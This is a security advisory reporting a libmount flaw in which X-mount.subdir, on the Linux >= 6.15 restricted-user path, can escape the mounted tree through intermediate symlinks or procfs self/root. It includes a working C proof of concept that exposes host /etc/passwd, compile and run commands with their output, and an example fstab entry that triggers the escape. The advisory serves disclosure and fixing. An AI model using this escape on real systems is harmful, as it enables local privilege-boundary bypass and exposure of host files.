Skip to content

GHSA-8f2p-47x3-43mv

CVE Information

Summary

libmount current HEAD allows restricted-user X-mount.subdir=<path> to use a detached-tree fast path on Linux >= 6.15. In that path, the configured subdirectory string is passed directly to open_tree() with AT_SYMLINK_NOFOLLOW, but without a beneath/no-intermediate-symlink containment guarantee. AT_SYMLINK_NOFOLLOW does not block symlinks in intermediate path components. As a result, an attacker-controlled filesystem or pseudo-filesystem path can cause X-mount.subdir to resolve outside the newly mounted filesystem and attach a host path at the fstab-authorized mountpoint.

The primitive was verified locally and on a remote test host with the same open_tree() flags used by current HEAD. A detached procfs test shows that opening self/root/etc from a detached proc tree escapes to the caller's host /etc, and move_mount() then exposes the host /etc/passwd at the target mountpoint. Exact restricted-user SUID end-to-end validation requires a Linux >= 6.15 host because current HEAD gates the restricted-user detached X-mount.subdir path on that kernel version.

Details

X-mount.subdir=<directory> is documented as mounting a subdirectory of the newly mounted filesystem. A typical administrator expectation is that if an fstab entry says X-mount.subdir=safe, then an unprivileged user can only mount safe inside the mounted filesystem, not an arbitrary path on the host.

Relevant source locations:

  • build/src/sys-utils/mount.8.adoc:804 to build/src/sys-utils/mount.8.adoc:811
  • Documents X-mount.subdir= and notes that unprivileged users require Linux >= 6.15 for this feature.

  • build/src/libmount/src/hook_subdir.c:390

  • Parses the X-mount.subdir userspace option.

  • build/src/libmount/src/hook_subdir.c:338 to build/src/libmount/src/hook_subdir.c:344

  • On Linux >= 6.15, current HEAD switches to the detached-tree fast path and assigns the raw subdir string to api->subdir.
  • On older kernels, restricted users are refused for this path, but the Linux >= 6.15 fast path bypasses that refusal.

  • build/src/libmount/src/hook_mount.c:303 to build/src/libmount/src/hook_mount.c:311

  • Opens the requested subdirectory with:
open_tree(fd, api->subdir,
          AT_NO_AUTOMOUNT |
          AT_SYMLINK_NOFOLLOW |
          AT_RECURSIVE |
          OPEN_TREE_CLOEXEC |
          OPEN_TREE_CLONE);
  • build/src/libmount/src/hook_mount.c:551 to build/src/libmount/src/hook_mount.c:559
  • Attaches the resulting tree to the restricted user's pinned target fd with move_mount().

The security issue is that AT_SYMLINK_NOFOLLOW is not a containment primitive. It only prevents following a symlink in the final path component in some lookup cases; it does not prevent traversal through intermediate symlinks. It also does not provide a RESOLVE_BENEATH-style guarantee that path resolution stays inside the detached tree.

Examples of unsafe path shapes:

link/passwd
real/../link/passwd
self/root/etc

If link is a symlink to /etc, link/passwd can resolve to host /etc/passwd. If the detached filesystem is procfs, self/root/etc can resolve through procfs' self/root link to the current process root and then to host /etc.

For a restricted SUID mount(8) operation, this violates the core invariant that the unprivileged user may only attach the fstab-authorized subdirectory of the newly mounted filesystem.

PoC

The following PoCs validate the kernel behavior used by the vulnerable libmount path. They are intentionally written as minimal syscall probes so maintainers can see exactly which primitive is unsafe.

Important note: current HEAD only enables the restricted-user X-mount.subdir detached fast path on Linux >= 6.15. The primitive below works on older kernels that support the mount fd API, but exact restricted-user SUID mount(8) end-to-end reproduction needs a Linux >= 6.15 host.

Create a directory containing a symlink to /etc, then call open_tree() using the same flags as current HEAD's hook_mount.c subdir path.

Observed saved evidence:

Local/remote open_tree() behavior with the same flags used by libmount hook_mount.c for X-mount.subdir:
flags = AT_NO_AUTOMOUNT | AT_SYMLINK_NOFOLLOW | AT_RECURSIVE | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE

Local kernel: Linux 6.8.0-87-generic
link/passwd flags=0x88901 -> fd=4 errno=0 Success
real/../link/passwd flags=0x88901 -> fd=4 errno=0 Success

Remote test host: Linux 5.10.0
link/passwd flags=0x88901 -> fd=4 errno=0 Success
real/../link/passwd flags=0x88901 -> fd=4 errno=0 Success

Saved evidence:

verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/open_tree-symlink-flags-local-remote.log

Interpretation: the same flags used by libmount do not stop intermediate symlink traversal. Therefore they are insufficient for implementing a safe restricted X-mount.subdir boundary.

PoC B: detached procfs escape through self/root/etc

This PoC creates a detached proc tree with fsopen() and fsmount(), then opens self/root/etc from the detached tree using the same style of open_tree() call used for X-mount.subdir. It then attaches the returned tree to a temporary target using move_mount() and reads passwd from the target.

The PoC source is saved as:

verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/x_mount_subdir_proc_escape.c

Minimal source:

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/mount.h>
#include <linux/fs.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

#ifndef FSCONFIG_CMD_CREATE
#define FSCONFIG_CMD_CREATE 6
#endif

static int xfsopen(const char *fs, unsigned int flags) {
    return syscall(SYS_fsopen, fs, flags);
}
static int xfsconfig(int fd, unsigned int cmd, const char *key, const void *val, int aux) {
    return syscall(SYS_fsconfig, fd, cmd, key, val, aux);
}
static int xfsmount(int fd, unsigned int flags, unsigned int attr) {
    return syscall(SYS_fsmount, fd, flags, attr);
}
static int xopen_tree(int dfd, const char *path, unsigned int flags) {
    return syscall(SYS_open_tree, dfd, path, flags);
}
static int xmove_mount(int from_dfd, const char *from_path,
                       int to_dfd, const char *to_path, unsigned int flags) {
    return syscall(SYS_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}

int main(int argc, char **argv) {
    const char *target = argc > 1 ? argv[1] : "/tmp/ul_subdir_proc_escape_mnt";
    mkdir(target, 0700);

    int fs = xfsopen("proc", FSOPEN_CLOEXEC);
    if (fs < 0) { perror("fsopen(proc)"); return 1; }

    if (xfsconfig(fs, FSCONFIG_CMD_CREATE, NULL, NULL, 0) < 0) {
        perror("fsconfig(CREATE)"); return 1;
    }

    int tree = xfsmount(fs, FSMOUNT_CLOEXEC, 0);
    if (tree < 0) { perror("fsmount(proc)"); return 1; }

    unsigned int flags = OPEN_TREE_CLOEXEC |
                         OPEN_TREE_CLONE |
                         AT_SYMLINK_NOFOLLOW |
                         AT_RECURSIVE;

    int sub = xopen_tree(tree, "self/root/etc", flags);
    printf("open_tree(detached proc, self/root/etc, flags=0x%x) => %d errno=%d (%s)\n",
           flags, sub, errno, strerror(errno));
    if (sub < 0) return 2;

    if (xmove_mount(sub, "", AT_FDCWD, target, MOVE_MOUNT_F_EMPTY_PATH) < 0) {
        perror("move_mount"); return 3;
    }

    char path[512];
    snprintf(path, sizeof(path), "%s/passwd", target);
    int fd = open(path, O_RDONLY | O_CLOEXEC);
    printf("open(%s) => %d errno=%d (%s)\n", path, fd, errno, strerror(errno));
    if (fd >= 0) {
        char buf[80] = {0};
        ssize_t n = read(fd, buf, sizeof(buf) - 1);
        (void) n;
        printf("first bytes: %.60s\n", buf);
        close(fd);
    }

    close(sub);
    close(tree);
    close(fs);
    return fd >= 0 ? 0 : 4;
}

Compile and run:

gcc -Wall -O2 x_mount_subdir_proc_escape.c -o /tmp/x_mount_subdir_proc_escape
/tmp/x_mount_subdir_proc_escape /tmp/ul_subdir_proc_escape_mnt

Observed output locally and on a remote test host:

=== local ===
/tmp/ul_subdir_proc_escape_mnt ext4   rw,relatime
open_tree(detached proc, self/root/etc, flags=0x88101) => 5 errno=0 (Success)
open(/tmp/ul_subdir_proc_escape_mnt/passwd) => 6 errno=0 (Success)
first bytes: root:x:0:0:root:/root:/bin/bash

=== remote ===
/tmp/ul_subdir_proc_escape_mnt ext4   rw,relatime
open_tree(detached proc, self/root/etc, flags=0x88101) => 5 errno=0 (Success)
open(/tmp/ul_subdir_proc_escape_mnt/passwd) => 6 errno=0 (Success)
first bytes: root:x:0:0:root:/root:/bin/bash

Saved evidence:

verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/x-mount-subdir-procfs-detached-escape-local-remote.log

This proves that a detached tree subpath can resolve outside the intended tree and expose a host path when the subdir string is not constrained with no-symlink/no-beneath semantics.

Expected full restricted-user trigger on Linux >= 6.15

On a Linux >= 6.15 system with SUID mount(8) from current HEAD, a maintainer should be able to test a restricted-user fstab entry conceptually like:

proc /tmp/user-subdir-target proc user,noauto,X-mount.subdir=self/root/etc 0 0

or an attacker-controlled filesystem where the configured subdir contains an intermediate symlink escaping to a host path.

Then, as the unprivileged user:

mount /tmp/user-subdir-target

The expected vulnerable behavior is that the attached target exposes the escaped host path rather than a real subdirectory of the newly mounted filesystem. If combined with X-mount.owner=, X-mount.group=, X-mount.mode=, or idmap options, follow-on privileged post-mount effects may apply to the escaped host path.

Impact

This is a local restricted-mount sandbox/containment escape in SUID mount(8) configurations that use X-mount.subdir=.

Who is impacted:

  • Linux systems with SUID-root /usr/bin/mount.
  • Systems running util-linux versions with the Linux >= 6.15 restricted-user detached X-mount.subdir path.
  • Administrators who allow unprivileged users to mount filesystems or pseudo-filesystems with fstab entries containing user/users and X-mount.subdir=.
  • Configurations where the user controls the mounted filesystem contents or where the chosen filesystem contains symlink-like escape paths such as procfs self/root.

Security impact:

  • An unprivileged user can cause mount(8) to attach a host path at an fstab-authorized target instead of a subdirectory of the newly mounted filesystem.
  • The attacker may gain read or traversal access through the mounted view depending on the escaped path and mount options.
  • If the fstab entry also uses post hooks such as X-mount.owner=, X-mount.group=, X-mount.mode=, or idmapped mount options, the impact can escalate from path exposure to root-privileged metadata modification or unexpected idmapped exposure of a host path.

Why this is likely security-relevant:

  • X-mount.subdir promises a subdirectory of the mounted filesystem. Resolving to /etc or another host path violates that contract.
  • The restricted-user mode is specifically intended to confine non-root users to fstab-authorized mount operations.
  • The current flags are insufficient because AT_SYMLINK_NOFOLLOW is not equivalent to RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS.

Recommended fix:

  • For restricted users, reject absolute X-mount.subdir paths.
  • For restricted users, reject .. components in X-mount.subdir.
  • For restricted users, reject all symlink components in X-mount.subdir, not just final-component symlinks.
  • Use a path resolution mechanism equivalent to RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS relative to the detached tree. If such a safe resolution cannot be guaranteed, reject X-mount.subdir for restricted users even on Linux >= 6.15.
  • Add regression tests where X-mount.subdir=safe and safe or an intermediate component is a symlink to /etc; the restricted-user mount must fail.
  • Add a procfs regression test for X-mount.subdir=self/root/etc; the restricted-user mount must fail.